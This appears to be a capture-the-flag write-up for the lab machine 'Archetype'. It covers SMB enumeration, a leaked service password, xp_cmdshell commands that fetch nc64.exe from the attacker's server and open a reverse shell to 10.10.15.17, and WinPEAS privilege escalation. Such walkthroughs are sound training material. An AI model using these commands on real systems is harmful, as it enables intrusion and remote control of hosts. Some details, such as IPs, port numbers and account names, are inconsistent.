OS: Windows
Difficulty: Very Easy
This was a fun machine to do :)
After the Nmap enumeration, we obtained the following results:
Starting Nmap 7.99 ( https://nmap.org ) at 2026-09-15 11:05 -0400
Nmap scan report for 10.129.192.92
Host is up (0.24s latency).
Not shown: 65523 closed tcp ports (reset)
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows Server 2019 Standard 17763 microsoft-ds
1433/tcp open ms-sql-s Microsoft SQL Server 2017 14.00.1000.00; RTM
| ms-sql-info:
| 10.129.192.92:1433:
| Version:
| name: Microsoft SQL Server 2017 RTM
| number: 14.00.1000.00
| Product: Microsoft SQL Server 2017
| Service pack level: RTM
| Post-SP patches applied: false
|_ TCP port: 1433
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2026-09-15T14:24:02
|_Not valid after: 2056-09-15T14:24:02
| ms-sql-ntlm-info:
| 10.129.192.92:1433:
| Target_Name: ARCHETYPE
| NetBIOS_Domain_Name: ARCHETYPE
| NetBIOS_Computer_Name: ARCHETYPE
| DNS_Domain_Name: Archetype
| DNS_Computer_Name: Archetype
|_ Product_Version: 10.0.17763
|_ssl-date: 2026-09-15T15:07:05+00:00; 0s from scanner time.
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Host script results:
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_clock-skew: mean: 1h24m01s, deviation: 3h07m51s, median: 0s
| smb2-time:
| date: 2026-09-15T15:06:51
|_ start_date: N/A
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled but not required
| smb-os-discovery:
| OS: Windows Server 2019 Standard 17763 (Windows Server 2019 Standard 6.3)
| Computer name: Archetype
| NetBIOS computer name: ARCHETYPE\x00
| Workgroup: WORKGROUP\x00
|_ System time: 2026-09-15T08:06:54-07:00
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 94.77 seconds
From the scan, we can identify a few important details:
-> Port 445 (SMB) and 1344 (SQL Server) are opened
-> We found one user account called guest
-> This machine is part of the Domain called Archetype
Since port 445 is open, my first instinct was to try connecting to the target machine using the administrator account with an empty password. Unfortunately, this failed.
As the next step, I decided to enumerate the SMB shares that might be accessible using the guest account.
smbclient -L //10.129.193.31
We found a share called backups, so I tried accessing it through SMB.
smbclient //10.129.193.31/backups -U "guest"
Inside the share, we found a file called prod.dtsConfig. I downloaded it using the get command and opened it on my Kali machine.
The file exposed two important pieces of information:
- A Windows domain account called ARCHETYPE/mysql_svc
- The password M3g4c0rp123
One important thing to note is that the account we just compromised is a Windows domain account, rather than a native SQL Server username/password account.
In order to obtain the user flag, we need an interactive shell on the target machine. I initially tried using impacket-psexec to gain access, but it failed, so I had to look for another way to obtain a shell.
One approach was to make the target machine execute a binary that would establish a reverse shell back to a listener on my Kali machine.
I searched for a suitable binary that could be executed on Windows and came across the following:
I then searched for a GitHub repository that provided nc.exe and found the following repository: https://github.com/int0x33/nc.exe/blob/master/nc64.exe
I downloaded the nc64.exe (64 because we need an executable built for 64-bit Windows architecture).
Next, I started a simple HTTP Server from the directory containing the nc64.exe file using the following command:
python3 -m http.server 80
Now we need to transfer the nc64.exe file from our Kali machine to the target Windows machine.
First, we can use the impacket-mssqlclient command with the option -windows-auth, as shown in the image below. This option allows us to authenticate to Microsoft SQL Server using Windows authentication.
We can see that xp_cmdshell allows us to execute Windows commands on the SQL Server host.
I only learned after completing this machine and reading the official write-up that we can also execute PowerShell commands through xp_cmdshell using xp_cmdshell “powershell -c ". This is a much cleaner approach, so I will use it for this write-up.
We can use the PowerShell command to retrieve the nc64.exe file from the HTTP server running on our Kali machine and save it to the sql_svc user’s directory.
xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads ; wget http://<Your kali machine ip>/nc64.exe -outfile <name you want to assign>"
We can also see that our HTTP server received an HTTP GET request for nc64.exe with a status code of 200, indicating that the download was successful.
We can further confirm that the nc64.exe file was successfully transferred to the Windows machine under the sql_svc user’s directory.
Next, we set up a listener on our Kali machine using the port of our choice. I chose port 8000.
We can then execute nc64.exe on the target machine, using cmd.exe as the Windows command-line shell, and connect it back to the Kali machine’s IP address and listening port (8000 in my case).
xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads ; ./nc64.exe -e cmd.exe 10.10.15.17 8000"
We can now interact with the target through the listener and navigate to the sql_svc user’s Desktop to retrieve the user flag.
Now that we have obtained the user flag, the next step is privilege escalation to administrator in order to retrieve the root flag.
Based on the HTB guidance, we can use WinPEAS to enumerate the system and identify potential privilege-escalation opportunities.
WinPEAS (Windows Privilege Escalation Awesome Scripts) is an enumeration tool used to search a Windows system for potential privilege-escalation opportunities.
It checks things such as:
- User privileges and groups
- Services and their permissions
- Scheduled tasks
- Registry settings
- Stored credentials
- Writable files/directories
- Installed software and configurations
You can download winPEASx64.exe from https://github.com/peass-ng/PEASS-ng/releases/tag/20260914-474d0061
Since we already have an interactive shell session through our listener, we can:
- Start the HTTP server in the directory containing winPEASx64.exe
- Start PowerShell from our interactive shell and retrieve winPEASx64.exe from our HTTP server
Once we execute winPEASx64.exe on the target machine as the sql_svc user, it produces a large amount of output. It took me some time to find the relevant information, but eventually I found the file below, which contained the password for the domain administrator account.
At this point, we have:
- The username of the domain administrator -> administrator
- The password of the domain administrator
With these credentials, we can gain a shell on the target machine as the domain administrator using impacket-psexec and retrieve the root flag.
Key Learning Points
For me, the key learning points from this machine were:
- I learned that I can authenticate to SQL Server using a Windows domain user account via impacket-mssqlclient.
- I learned that WinPEAS can be used as an enumeration tool to identify potential privilege-escalation paths.
Top comments (0)